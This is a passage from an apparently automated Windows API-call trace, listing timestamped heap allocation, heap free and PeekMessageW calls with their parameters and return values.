Size=0x20) returned 0xec1708 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf0a8 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1370 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076898 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf188 [0132.105] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38422) returned 0xec39d8 [0132.110] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf118 [0132.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a48 [0132.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0132.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0132.110] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1d8 | out: hHeap=0xe80000) returned 1 [0132.110] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076a18 [0132.111] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13c0 [0132.111] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0132.111] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf218 [0132.111] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0132.111] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.111] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38422) returned 0x10b7828 [0132.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec13e8 [0132.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a60 [0132.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1e8 [0132.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a60 | out: hHeap=0xe80000) returned 1 [0132.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1410 [0132.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076970 [0132.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076958 [0132.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0x1068590 [0132.152] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12d0 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf068 [0132.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec12a8 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a60 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0132.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.153] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1320 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0d8 [0132.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1618 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076988 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0132.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0132.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0132.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.154] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0e8 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076820 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0132.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015640 [0132.154] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0132.155] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10767c0 [0132.155] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf108 [0132.155] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0132.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0132.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10767c0 | out: hHeap=0xe80000) returned 1 [0132.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0132.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0132.156] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0132.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0132.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0132.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0132.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0132.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015cc0 [0132.157] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015cc0 | out: hHeap=0xe80000) returned 1 [0132.158] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0132.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0132.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0132.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0132.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0132.158] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0132.159] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0132.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0132.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0132.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f00 [0132.159] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f00 | out: hHeap=0xe80000) returned 1 [0132.159] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf248 [0132.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556f0 [0132.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0132.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf248 | out: hHeap=0xe80000) returned 1 [0132.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016040 [0132.160] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016040 | out: hHeap=0xe80000) returned 1 [0132.160] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015ec0 [0132.161] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015ec0 | out: hHeap=0xe80000) returned 1 [0132.161] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf088 [0132.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055670 [0132.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055670 | out: hHeap=0xe80000) returned 1 [0132.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf088 | out: hHeap=0xe80000) returned 1 [0132.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0132.162] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0132.162] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf238 [0132.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055670 [0132.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055670 | out: hHeap=0xe80000) returned 1 [0132.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf238 | out: hHeap=0xe80000) returned 1 [0132.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0132.162] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0132.163] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0132.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0132.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0132.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0132.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0132.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1b8 | out: hHeap=0xe80000) returned 1 [0132.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0132.163] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0132.164] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0132.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0132.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0132.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.164] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.164] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.165] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1b8 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf238 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555f0 [0132.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555f0 | out: hHeap=0xe80000) returned 1 [0132.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf238 | out: hHeap=0xe80000) returned 1 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0132.165] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.165] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0132.165] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.165] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0132.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0132.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0132.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0132.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.166] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.166] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015cc0 [0132.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0132.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1d8 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0132.167] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0132.167] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 